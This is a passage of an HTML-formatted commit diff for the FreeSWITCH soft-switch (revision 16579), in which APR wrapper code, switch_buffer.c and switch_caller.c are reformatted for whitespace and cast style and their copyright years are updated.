- if (*klen == APR_HASH_KEY_STRING) {
- for (p = key; *p; p++) {
- hash = hash * 33 + tolower(*p);
- }
- *klen = p - key;
- }
- else {
- for (p = key, i = *klen; i; i--, p++) {
- hash = hash * 33 + tolower(*p);
- }
- }
</del><ins>+        unsigned int hash = 0;
+        const unsigned char *key = (const unsigned char *) char_key;
+        const unsigned char *p;
+        apr_ssize_t i;
</ins><span class="cx">
</span><del>- return hash;
</del><ins>+        if (*klen == APR_HASH_KEY_STRING) {
+                for (p = key; *p; p++) {
+                        hash = hash * 33 + tolower(*p);
+                }
+                *klen = p - key;
+        } else {
+                for (p = key, i = *klen; i; i--, p++) {
+                        hash = hash * 33 + tolower(*p);
+                }
+        }
+
+        return hash;
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx">
</span><span class="lines">@@ -125,7 +123,7 @@
</span><span class="cx">
</span><span class="cx"> /* DSO functions */
</span><span class="cx">
</span><del>-SWITCH_DECLARE(switch_status_t) switch_dso_load(switch_dso_handle_t **res_handle, const char *path, switch_memory_pool_t *ctx)
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_dso_load(switch_dso_handle_t ** res_handle, const char *path, switch_memory_pool_t *ctx)
</ins><span class="cx"> {
</span><span class="cx">         return apr_dso_load(res_handle, path, ctx);
</span><span class="cx"> }
</span><span class="lines">@@ -150,44 +148,45 @@
</span><span class="cx"> SWITCH_DECLARE(switch_status_t) switch_strftime(char *s, switch_size_t *retsize, switch_size_t max, const char *format, switch_time_exp_t *tm)
</span><span class="cx"> {
</span><span class="cx">         const char *p = format;
</span><del>-        
-        if (!p) return SWITCH_STATUS_FALSE;
</del><span class="cx">
</span><ins>+        if (!p)
+                return SWITCH_STATUS_FALSE;
+
</ins><span class="cx">         while (*p) {
</span><span class="cx">                 if (*p == '%') {
</span><span class="cx">                         switch (*(++p)) {
</span><del>- case 'C':
- case 'D':
- case 'r':
- case 'R':
- case 'T':
- case 'e':
- case 'a':
- case 'A':
- case 'b':
- case 'B':
- case 'c':
- case 'd':
- case 'H':
- case 'I':
- case 'j':
- case 'm':
- case 'M':
- case 'p':
- case 'S':
- case 'U':
- case 'w':
- case 'W':
- case 'x':
- case 'X':
- case 'y':
- case 'Y':
- case 'z':
- case 'Z':
- case '%':
</del><ins>+                        case 'C':
+                        case 'D':
+                        case 'r':
+                        case 'R':
+                        case 'T':
+                        case 'e':
+                        case 'a':
+                        case 'A':
+                        case 'b':
+                        case 'B':
+                        case 'c':
+                        case 'd':
+                        case 'H':
+                        case 'I':
+                        case 'j':
+                        case 'm':
+                        case 'M':
+                        case 'p':
+                        case 'S':
+                        case 'U':
+                        case 'w':
+                        case 'W':
+                        case 'x':
+                        case 'X':
+                        case 'y':
+                        case 'Y':
+                        case 'z':
+                        case 'Z':
+                        case '%':
</ins><span class="cx">                                 p++;
</span><span class="cx">                                 continue;
</span><del>- case '\0':
</del><ins>+                        case '\0':
</ins><span class="cx">                         default:
</span><span class="cx">                                 return SWITCH_STATUS_FALSE;
</span><span class="cx">                         }
</span><span class="lines">@@ -231,7 +230,7 @@
</span><span class="cx">
</span><span class="cx"> /* thread read write lock functions */
</span><span class="cx">
</span><del>-SWITCH_DECLARE(switch_status_t) switch_thread_rwlock_create(switch_thread_rwlock_t **rwlock, switch_memory_pool_t *pool)
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_thread_rwlock_create(switch_thread_rwlock_t ** rwlock, switch_memory_pool_t *pool)
</ins><span class="cx"> {
</span><span class="cx">         return apr_thread_rwlock_create(rwlock, pool);
</span><span class="cx"> }
</span><span class="lines">@@ -289,7 +288,7 @@
</span><span class="cx">
</span><span class="cx"> /* thread mutex functions */
</span><span class="cx">
</span><del>-SWITCH_DECLARE(switch_status_t) switch_mutex_init(switch_mutex_t **lock, unsigned int flags, switch_memory_pool_t *pool)
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_mutex_init(switch_mutex_t ** lock, unsigned int flags, switch_memory_pool_t *pool)
</ins><span class="cx"> {
</span><span class="cx">         return apr_thread_mutex_create(lock, flags, pool);
</span><span class="cx"> }
</span><span class="lines">@@ -329,12 +328,12 @@
</span><span class="cx">
</span><span class="cx"> SWITCH_DECLARE(switch_status_t) switch_time_exp_gmt_get(switch_time_t *result, switch_time_exp_t *input)
</span><span class="cx"> {
</span><del>-        return apr_time_exp_gmt_get((apr_time_t *)result, (apr_time_exp_t *) input);
</del><ins>+        return apr_time_exp_gmt_get((apr_time_t *) result, (apr_time_exp_t *) input);
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> SWITCH_DECLARE(switch_status_t) switch_time_exp_get(switch_time_t *result, switch_time_exp_t *input)
</span><span class="cx"> {
</span><del>-        return apr_time_exp_get((apr_time_t *)result, (apr_time_exp_t *) input);
</del><ins>+        return apr_time_exp_get((apr_time_t *) result, (apr_time_exp_t *) input);
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> SWITCH_DECLARE(switch_status_t) switch_time_exp_lt(switch_time_exp_t *result, switch_time_t input)
</span><span class="lines">@@ -344,7 +343,7 @@
</span><span class="cx">
</span><span class="cx"> SWITCH_DECLARE(switch_status_t) switch_time_exp_tz(switch_time_exp_t *result, switch_time_t input, switch_int32_t offs)
</span><span class="cx"> {
</span><del>-        return apr_time_exp_tz((apr_time_exp_t *) result, input, (apr_int32_t )offs);
</del><ins>+        return apr_time_exp_tz((apr_time_exp_t *) result, input, (apr_int32_t) offs);
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> SWITCH_DECLARE(switch_status_t) switch_time_exp_gmt(switch_time_exp_t *result, switch_time_t input)
</span><span class="lines">@@ -364,7 +363,7 @@
</span><span class="cx">
</span><span class="cx"> /* Thread condition locks */
</span><span class="cx">
</span><del>-SWITCH_DECLARE(switch_status_t) switch_thread_cond_create(switch_thread_cond_t **cond, switch_memory_pool_t *pool)
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_thread_cond_create(switch_thread_cond_t ** cond, switch_memory_pool_t *pool)
</ins><span class="cx"> {
</span><span class="cx">         return apr_thread_cond_create(cond, pool);
</span><span class="cx"> }
</span><span class="lines">@@ -402,7 +401,7 @@
</span><span class="cx">
</span><span class="cx"> /* file i/o stubs */
</span><span class="cx">
</span><del>-SWITCH_DECLARE(switch_status_t) switch_file_open(switch_file_t **newf, const char *fname, int32_t flag, switch_fileperms_t perm,
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_file_open(switch_file_t ** newf, const char *fname, int32_t flag, switch_fileperms_t perm,
</ins><span class="cx">                                                                                                  switch_memory_pool_t *pool)
</span><span class="cx"> {
</span><span class="cx">         return apr_file_open(newf, fname, flag, perm, pool);
</span><span class="lines">@@ -417,10 +416,7 @@
</span><span class="cx">         return rv;
</span><span class="cx"> }
</span><span class="cx">
</span><del>-SWITCH_DECLARE(switch_status_t) switch_file_copy(const char *from_path,
-                                                                                                 const char *to_path,
-                                                                                                 switch_fileperms_t perms,
-                                                                                                 switch_memory_pool_t *pool)
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_file_copy(const char *from_path, const char *to_path, switch_fileperms_t perms, switch_memory_pool_t *pool)
</ins><span class="cx"> {
</span><span class="cx">         return apr_file_copy(from_path, to_path, perms, pool);
</span><span class="cx"> }
</span><span class="lines">@@ -471,7 +467,7 @@
</span><span class="cx">         return ret;
</span><span class="cx"> }
</span><span class="cx">
</span><del>-SWITCH_DECLARE(switch_status_t) switch_file_mktemp(switch_file_t **thefile, char *templ, int32_t flags, switch_memory_pool_t *pool)
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_file_mktemp(switch_file_t ** thefile, char *templ, int32_t flags, switch_memory_pool_t *pool)
</ins><span class="cx"> {
</span><span class="cx">         return apr_file_mktemp(thefile, templ, flags, pool);
</span><span class="cx"> }
</span><span class="lines">@@ -544,7 +540,7 @@
</span><span class="cx">         apr_finfo_t finfo;
</span><span class="cx"> };
</span><span class="cx">
</span><del>-SWITCH_DECLARE(switch_status_t) switch_dir_open(switch_dir_t **new_dir, const char *dirname, switch_memory_pool_t *pool)
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_dir_open(switch_dir_t ** new_dir, const char *dirname, switch_memory_pool_t *pool)
</ins><span class="cx"> {
</span><span class="cx">         switch_status_t status;
</span><span class="cx">         switch_dir_t *dir = malloc(sizeof(*dir));
</span><span class="lines">@@ -606,7 +602,7 @@
</span><span class="cx">
</span><span class="cx"> /* thread stubs */
</span><span class="cx">
</span><del>-SWITCH_DECLARE(switch_status_t) switch_threadattr_create(switch_threadattr_t **new_attr, switch_memory_pool_t *pool)
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_threadattr_create(switch_threadattr_t ** new_attr, switch_memory_pool_t *pool)
</ins><span class="cx"> {
</span><span class="cx">         return apr_threadattr_create(new_attr, pool);
</span><span class="cx"> }
</span><span class="lines">@@ -648,7 +644,7 @@
</span><span class="cx">
</span><span class="cx"> static char TT_KEY[] = "1";
</span><span class="cx">
</span><del>-SWITCH_DECLARE(switch_status_t) switch_thread_create(switch_thread_t **new_thread, switch_threadattr_t *attr,
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_thread_create(switch_thread_t ** new_thread, switch_threadattr_t *attr,
</ins><span class="cx">                                                                                                          switch_thread_start_t func, void *data, switch_memory_pool_t *cont)
</span><span class="cx"> {
</span><span class="cx">         switch_core_memory_pool_set_data(cont, "_in_thread", TT_KEY);
</span><span class="lines">@@ -657,12 +653,12 @@
</span><span class="cx">
</span><span class="cx"> /* socket stubs */
</span><span class="cx">
</span><del>-SWITCH_DECLARE(switch_status_t) switch_socket_addr_get(switch_sockaddr_t **sa, switch_bool_t remote, switch_socket_t *sock)
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_socket_addr_get(switch_sockaddr_t ** sa, switch_bool_t remote, switch_socket_t *sock)
</ins><span class="cx"> {
</span><span class="cx">         return apr_socket_addr_get(sa, remote, sock);
</span><span class="cx"> }
</span><span class="cx">
</span><del>-SWITCH_DECLARE(switch_status_t) switch_socket_create(switch_socket_t **new_sock, int family, int type, int protocol, switch_memory_pool_t *pool)
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_socket_create(switch_socket_t ** new_sock, int family, int type, int protocol, switch_memory_pool_t *pool)
</ins><span class="cx"> {
</span><span class="cx">         return apr_socket_create(new_sock, family, type, protocol, pool);
</span><span class="cx"> }
</span><span class="lines">@@ -687,7 +683,7 @@
</span><span class="cx">         return apr_socket_listen(sock, backlog);
</span><span class="cx"> }
</span><span class="cx">
</span><del>-SWITCH_DECLARE(switch_status_t) switch_socket_accept(switch_socket_t **new_sock, switch_socket_t *sock, switch_memory_pool_t *pool)
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_socket_accept(switch_socket_t ** new_sock, switch_socket_t *sock, switch_memory_pool_t *pool)
</ins><span class="cx"> {
</span><span class="cx">         return apr_socket_accept(new_sock, sock, pool);
</span><span class="cx"> }
</span><span class="lines">@@ -722,7 +718,8 @@
</span><span class="cx">         return status;
</span><span class="cx"> }
</span><span class="cx">
</span><del>-SWITCH_DECLARE(switch_status_t) switch_socket_sendto(switch_socket_t *sock, switch_sockaddr_t *where, int32_t flags, const char *buf, switch_size_t *len)
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_socket_sendto(switch_socket_t *sock, switch_sockaddr_t *where, int32_t flags, const char *buf,
+                                                                                                         switch_size_t *len)
</ins><span class="cx"> {
</span><span class="cx">         if (!where || !buf || !len || !*len) {
</span><span class="cx">                 return SWITCH_STATUS_GENERR;
</span><span class="lines">@@ -735,7 +732,7 @@
</span><span class="cx">         return apr_socket_recv(sock, buf, len);
</span><span class="cx"> }
</span><span class="cx">
</span><del>-SWITCH_DECLARE(switch_status_t) switch_sockaddr_info_get(switch_sockaddr_t **sa, const char *hostname, int32_t family,
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_sockaddr_info_get(switch_sockaddr_t ** sa, const char *hostname, int32_t family,
</ins><span class="cx">                                                                                                                  switch_port_t port, int32_t flags, switch_memory_pool_t *pool)
</span><span class="cx"> {
</span><span class="cx">         return apr_sockaddr_info_get(sa, hostname, family, port, flags, pool);
</span><span class="lines">@@ -779,7 +776,7 @@
</span><span class="cx">         if (!in) {
</span><span class="cx">                 return "";
</span><span class="cx">         }
</span><del>-        return get_addr(buf, len, (struct sockaddr*)&in->sa, in->salen);
</del><ins>+        return get_addr(buf, len, (struct sockaddr *) &in->sa, in->salen);
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> SWITCH_DECLARE(uint16_t) switch_sockaddr_get_port(switch_sockaddr_t *sa)
</span><span class="lines">@@ -817,7 +814,7 @@
</span><span class="cx">
</span><span class="cx"> /* poll stubs */
</span><span class="cx">
</span><del>-SWITCH_DECLARE(switch_status_t) switch_pollset_create(switch_pollset_t **pollset, uint32_t size, switch_memory_pool_t *p, uint32_t flags)
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_pollset_create(switch_pollset_t ** pollset, uint32_t size, switch_memory_pool_t *p, uint32_t flags)
</ins><span class="cx"> {
</span><span class="cx">         return apr_pollset_create(pollset, size, p, flags);
</span><span class="cx"> }
</span><span class="lines">@@ -827,16 +824,16 @@
</span><span class="cx">         if (!pollset) {
</span><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><span class="cx">         }
</span><del>-        
-        return apr_pollset_add((apr_pollset_t *)pollset, (const apr_pollfd_t *)descriptor);
</del><ins>+
+        return apr_pollset_add((apr_pollset_t *) pollset, (const apr_pollfd_t *) descriptor);
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> SWITCH_DECLARE(switch_status_t) switch_poll(switch_pollfd_t *aprset, int32_t numsock, int32_t *nsds, switch_interval_time_t timeout)
</span><span class="cx"> {
</span><span class="cx">         apr_status_t st = SWITCH_STATUS_FALSE;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (aprset) {
</span><del>-                st = apr_poll((apr_pollfd_t *)aprset, numsock, nsds, timeout);
</del><ins>+                st = apr_poll((apr_pollfd_t *) aprset, numsock, nsds, timeout);
</ins><span class="cx">
</span><span class="cx">                 if (st == APR_TIMEUP) {
</span><span class="cx">                         st = SWITCH_STATUS_TIMEOUT;
</span><span class="lines">@@ -846,7 +843,7 @@
</span><span class="cx">         return st;
</span><span class="cx"> }
</span><span class="cx">
</span><del>-SWITCH_DECLARE(switch_status_t) switch_socket_create_pollfd(switch_pollfd_t **poll, switch_socket_t *sock, int16_t flags, switch_memory_pool_t *pool)
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_socket_create_pollfd(switch_pollfd_t ** poll, switch_socket_t *sock, int16_t flags, switch_memory_pool_t *pool)
</ins><span class="cx"> {
</span><span class="cx">         switch_pollset_t *pollset;
</span><span class="cx">
</span><span class="lines">@@ -885,8 +882,8 @@
</span><span class="cx">         apr_uuid_format(buffer, (const apr_uuid_t *) uuid);
</span><span class="cx"> #else
</span><span class="cx">         RPC_CSTR buf;
</span><del>-        UuidToString((const UUID*)uuid, &buf);
-        strcpy(buffer, (const char*)buf);
</del><ins>+        UuidToString((const UUID *) uuid, &buf);
+        strcpy(buffer, (const char *) buf);
</ins><span class="cx">         RpcStringFree(&buf);
</span><span class="cx"> #endif
</span><span class="cx"> }
</span><span class="lines">@@ -897,7 +894,7 @@
</span><span class="cx"> #ifndef WIN32
</span><span class="cx">         apr_uuid_get((apr_uuid_t *) uuid);
</span><span class="cx"> #else
</span><del>-        UuidCreate((UUID*)uuid);
</del><ins>+        UuidCreate((UUID *) uuid);
</ins><span class="cx"> #endif
</span><span class="cx">         switch_mutex_unlock(runtime.uuid_mutex);
</span><span class="cx"> }
</span><span class="lines">@@ -907,7 +904,7 @@
</span><span class="cx"> #ifndef WIN32
</span><span class="cx">         return apr_uuid_parse((apr_uuid_t *) uuid, uuid_str);
</span><span class="cx"> #else
</span><del>-        return UuidFromString((RPC_CSTR)uuid_str, (UUID*)uuid);
</del><ins>+        return UuidFromString((RPC_CSTR) uuid_str, (UUID *) uuid);
</ins><span class="cx"> #endif
</span><span class="cx"> }
</span><span class="cx">
</span><span class="lines">@@ -924,7 +921,7 @@
</span><span class="cx">
</span><span class="cx">         digest_str[SWITCH_MD5_DIGEST_STRING_SIZE - 1] = '\0';
</span><span class="cx">
</span><del>-        for( x = 0; x < SWITCH_MD5_DIGESTSIZE; x++) {
</del><ins>+        for (x = 0; x < SWITCH_MD5_DIGESTSIZE; x++) {
</ins><span class="cx">                 switch_snprintf(digest_str + (x * 2), 3, "%02x", digest[x]);
</span><span class="cx">         }
</span><span class="cx">
</span><span class="lines">@@ -933,7 +930,7 @@
</span><span class="cx">
</span><span class="cx"> /* FIFO queues (apr-util) */
</span><span class="cx">
</span><del>-SWITCH_DECLARE(switch_status_t) switch_queue_create(switch_queue_t **queue, unsigned int queue_capacity, switch_memory_pool_t *pool)
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_queue_create(switch_queue_t ** queue, unsigned int queue_capacity, switch_memory_pool_t *pool)
</ins><span class="cx"> {
</span><span class="cx">         return apr_queue_create(queue, queue_capacity, pool);
</span><span class="cx"> }
</span><span class="lines">@@ -1016,7 +1013,7 @@
</span><span class="cx"> #endif
</span><span class="cx"> }
</span><span class="cx">
</span><del>-SWITCH_DECLARE(switch_status_t) switch_match_glob(const char *pattern, switch_array_header_t **result, switch_memory_pool_t *p)
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_match_glob(const char *pattern, switch_array_header_t ** result, switch_memory_pool_t *p)
</ins><span class="cx"> {
</span><span class="cx">         return apr_match_glob(pattern, (apr_array_header_t **) result, p);
</span><span class="cx"> }
</span><span class="lines">@@ -1027,9 +1024,9 @@
</span><span class="cx"> * @param out The file descriptor to use as output from the pipe.
</span><span class="cx"> * @param pool The pool to operate on.
</span><span class="cx"> */
</span><del>-SWITCH_DECLARE(switch_status_t) switch_file_pipe_create(switch_file_t **in, switch_file_t **out, switch_memory_pool_t *p)
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_file_pipe_create(switch_file_t ** in, switch_file_t ** out, switch_memory_pool_t *p)
</ins><span class="cx"> {
</span><del>- return apr_file_pipe_create ((apr_file_t **) in, (apr_file_t **) out, p);
</del><ins>+        return apr_file_pipe_create((apr_file_t **) in, (apr_file_t **) out, p);
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> /**
</span><span class="lines">@@ -1039,7 +1036,7 @@
</span><span class="cx"> */
</span><span class="cx"> SWITCH_DECLARE(switch_status_t) switch_file_pipe_timeout_get(switch_file_t *thepipe, switch_interval_time_t *timeout)
</span><span class="cx"> {
</span><del>-        return apr_file_pipe_timeout_get( (apr_file_t *)thepipe, (apr_interval_time_t *)timeout);
</del><ins>+        return apr_file_pipe_timeout_get((apr_file_t *) thepipe, (apr_interval_time_t *) timeout);
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> /**
</span><span class="lines">@@ -1050,7 +1047,7 @@
</span><span class="cx"> */
</span><span class="cx"> SWITCH_DECLARE(switch_status_t) switch_file_pipe_timeout_set(switch_file_t *thepipe, switch_interval_time_t timeout)
</span><span class="cx"> {
</span><del>-        return apr_file_pipe_timeout_set( (apr_file_t *)thepipe, (apr_interval_time_t)timeout);
</del><ins>+        return apr_file_pipe_timeout_set((apr_file_t *) thepipe, (apr_interval_time_t) timeout);
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx">
</span><span class="lines">@@ -1061,7 +1058,7 @@
</span><span class="cx"> */
</span><span class="cx"> SWITCH_DECLARE(switch_status_t) switch_thread_exit(switch_thread_t *thd, switch_status_t retval)
</span><span class="cx"> {
</span><del>-        return apr_thread_exit((apr_thread_t *)thd, retval);
</del><ins>+        return apr_thread_exit((apr_thread_t *) thd, retval);
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> /**
</span><span class="lines">@@ -1071,7 +1068,7 @@
</span><span class="cx"> */
</span><span class="cx"> SWITCH_DECLARE(switch_status_t) switch_thread_join(switch_status_t *retval, switch_thread_t *thd)
</span><span class="cx"> {
</span><del>-        return apr_thread_join((apr_status_t *)retval, (apr_thread_t *)thd);
</del><ins>+        return apr_thread_join((apr_status_t *) retval, (apr_thread_t *) thd);
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx">
</span></span></pre></div>
<a id="freeswitchtrunksrcswitch_bufferc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/switch_buffer.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/switch_buffer.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/switch_buffer.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span></span></pre></div>
<a id="freeswitchtrunksrcswitch_callerc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/switch_caller.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/switch_caller.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/switch_caller.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span><span class="lines">@@ -50,7 +50,7 @@
</span><span class="cx">         switch_caller_profile_t *profile = NULL;
</span><span class="cx">
</span><span class="cx">         profile = switch_core_alloc(pool, sizeof(*profile));
</span><del>-        switch_assert(profile != NULL);        
</del><ins>+        switch_assert(profile != NULL);
</ins><span class="cx">         memset(profile, 0, sizeof(*profile));
</span><span class="cx">
</span><span class="cx">         if (!context) {
</span><span class="lines">@@ -218,28 +218,28 @@
</span><span class="cx">                 return switch_test_flag(caller_profile, SWITCH_CPF_HIDE_NUMBER) ? "true" : "false";
</span><span class="cx">         }
</span><span class="cx">         if (!strcasecmp(name, "profile_created_time")) {
</span><del>-                return switch_core_sprintf(caller_profile->pool, "%" SWITCH_TIME_T_FMT, caller_profile->times->profile_created);                
</del><ins>+                return switch_core_sprintf(caller_profile->pool, "%" SWITCH_TIME_T_FMT, caller_profile->times->profile_created);
</ins><span class="cx">         }
</span><span class="cx">         if (!strcasecmp(name, "created_time")) {
</span><del>-                return switch_core_sprintf(caller_profile->pool, "%" SWITCH_TIME_T_FMT, caller_profile->times->created);                
</del><ins>+                return switch_core_sprintf(caller_profile->pool, "%" SWITCH_TIME_T_FMT, caller_profile->times->created);
</ins><span class="cx">         }
</span><span class="cx">         if (!strcasecmp(name, "answered_time")) {
</span><del>-                return switch_core_sprintf(caller_profile->pool, "%" SWITCH_TIME_T_FMT, caller_profile->times->answered);                
</del><ins>+                return switch_core_sprintf(caller_profile->pool, "%" SWITCH_TIME_T_FMT, caller_profile->times->answered);
</ins><span class="cx">         }
</span><span class="cx">         if (!strcasecmp(name, "progress_time")) {
</span><del>-                return switch_core_sprintf(caller_profile->pool, "%" SWITCH_TIME_T_FMT, caller_profile->times->progress);                
</del><ins>+                return switch_core_sprintf(caller_profile->pool, "%" SWITCH_TIME_T_FMT, caller_profile->times->progress);
</ins><span class="cx">         }
</span><span class="cx">         if (!strcasecmp(name, "progress_media_time")) {
</span><del>-                return switch_core_sprintf(caller_profile->pool, "%" SWITCH_TIME_T_FMT, caller_profile->times->progress_media);                
</del><ins>+                return switch_core_sprintf(caller_profile->pool, "%" SWITCH_TIME_T_FMT, caller_profile->times->progress_media);
</ins><span class="cx">         }
</span><span class="cx">         if (!strcasecmp(name, "hungup_time")) {
</span><del>-                return switch_core_sprintf(caller_profile->pool, "%" SWITCH_TIME_T_FMT, caller_profile->times->hungup);                
</del><ins>+                return switch_core_sprintf(caller_profile->pool, "%" SWITCH_TIME_T_FMT, caller_profile->times->hungup);
</ins><span class="cx">         }
</span><span class="cx">         if (!strcasecmp(name, "transferred_time")) {
</span><del>-                return switch_core_sprintf(caller_profile->pool, "%" SWITCH_TIME_T_FMT, caller_profile->times->transferred);                
</del><ins>+                return switch_core_sprintf(caller_profile->pool, "%" SWITCH_TIME_T_FMT, caller_profile->times->transferred);
</ins><span class="cx">         }
</span><del>-        
</del><span class="cx">
</span><ins>+
</ins><span class="cx">         return NULL;
</span><span class="cx"> }
</span><span class="cx">
</span><span class="lines">@@ -311,7 +311,7 @@
</span><span class="cx">                 switch_snprintf(header_name, sizeof(header_name), "%s-Channel-Answered-Time", prefix);
</span><span class="cx">                 switch_event_add_header(event, SWITCH_STACK_BOTTOM, header_name, "%" SWITCH_TIME_T_FMT, caller_profile->times->answered);
</span><span class="cx">                 switch_snprintf(header_name, sizeof(header_name), "%s-Channel-Progress-Time", prefix);
</span><del>-                switch_event_add_header(event, SWITCH_STACK_BOTTOM, header_name, "%" SWITCH_TIME_T_FMT, caller_profile->times->progress);                
</del><ins>+                switch_event_add_header(event, SWITCH_STACK_BOTTOM, header_name, "%" SWITCH_TIME_T_FMT, caller_profile->times->progress);
</ins><span class="cx">                 switch_snprintf(header_name, sizeof(header_name), "%s-Channel-Progress-Media-Time", prefix);
</span><span class="cx">                 switch_event_add_header(event, SWITCH_STACK_BOTTOM, header_name, "%" SWITCH_TIME_T_FMT, caller_profile->times->progress_media);
</span><span class="cx">                 switch_snprintf(header_name, sizeof(header_name), "%s-Channel-Hangup-Time", prefix);
</span><span class="lines">@@ -330,7 +330,7 @@
</span><span class="cx">         switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, header_name, switch_test_flag(caller_profile, SWITCH_CPF_HIDE_NUMBER) ? "true" : "false");
</span><span class="cx"> }
</span><span class="cx">
</span><del>-SWITCH_DECLARE(switch_status_t) switch_caller_extension_clone(switch_caller_extension_t **new_ext, switch_caller_extension_t *orig,
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_caller_extension_clone(switch_caller_extension_t **new_ext, switch_caller_extension_t *orig,
</ins><span class="cx">                                                                                                                          switch_memory_pool_t *pool)
</span><span class="cx"> {
</span><span class="cx">         switch_caller_extension_t *caller_extension = NULL;
</span><span class="lines">@@ -341,10 +341,10 @@
</span><span class="cx">         if ((caller_extension = switch_core_alloc(pool, sizeof(switch_caller_extension_t))) != 0) {
</span><span class="cx">                 int match = 0;
</span><span class="cx">
</span><del>- caller_extension->extension_name = switch_core_strdup(pool, orig->extension_name);
- caller_extension->extension_number = switch_core_strdup(pool, orig->extension_number);
</del><ins>+                caller_extension->extension_name = switch_core_strdup(pool, orig->extension_name);
+                caller_extension->extension_number = switch_core_strdup(pool, orig->extension_number);
</ins><span class="cx">
</span><del>-                for(ap = orig->applications; ap; ap = ap->next) {
</del><ins>+                for (ap = orig->applications; ap; ap = ap->next) {
</ins><span class="cx">
</span><span class="cx">                         if (!match) {
</span><span class="cx">                                 if (ap == orig->current_application) {
</span><span class="lines">@@ -354,7 +354,7 @@
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><span class="cx">                         caller_application = switch_core_alloc(pool, sizeof(switch_caller_application_t));
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         caller_application->application_name = switch_core_strdup(pool, ap->application_name);
</span><span class="cx">                         caller_application->application_data = switch_core_strdup(pool, ap->application_data);
</span><span class="cx">
</span><span class="lines">@@ -363,7 +363,7 @@
</span><span class="cx">                         } else if (caller_extension->last_application) {
</span><span class="cx">                                 caller_extension->last_application->next = caller_application;
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         caller_extension->last_application = caller_application;
</span><span class="cx">
</span><span class="cx">                         if (ap == orig->current_application) {
</span><span class="lines">@@ -374,9 +374,9 @@
</span><span class="cx">                 *new_ext = caller_extension;
</span><span class="cx">
</span><span class="cx">                 return SWITCH_STATUS_SUCCESS;
</span><del>- }
-        
</del><ins>+        }
</ins><span class="cx">
</span><ins>+
</ins><span class="cx">         return SWITCH_STATUS_MEMERR;
</span><span class="cx"> }
</span><span class="cx">
</span><span class="lines">@@ -396,18 +396,18 @@
</span><span class="cx">
</span><span class="cx">
</span><span class="cx"> SWITCH_DECLARE(void) switch_caller_extension_add_application_printf(switch_core_session_t *session,
</span><del>-                                                                                                                         switch_caller_extension_t *caller_extension, const char *application_name,
-                                                                                                                         const char *fmt, ...)
</del><ins>+                                                                                                                                        switch_caller_extension_t *caller_extension, const char *application_name,
+                                                                                                                                        const char *fmt, ...)
</ins><span class="cx"> {
</span><span class="cx">         va_list ap;
</span><span class="cx">         char *data = NULL;
</span><del>-        
</del><ins>+
</ins><span class="cx">         va_start(ap, fmt);
</span><span class="cx">         switch_vasprintf(&data, fmt, ap);
</span><span class="cx">         va_end(ap);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (data) {
</span><del>-                switch_caller_extension_add_application(session, caller_extension, application_name, data);        
</del><ins>+                switch_caller_extension_add_application(session, caller_extension, application_name, data);
</ins><span class="cx">                 free(data);
</span><span class="cx">         }
</span><span class="cx"> }
</span></span></pre></div>
<a id="freeswitchtrunksrcswitch_channelc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/switch_channel.c (16578 => 16579)</h4>
<pre class="diff"><span>
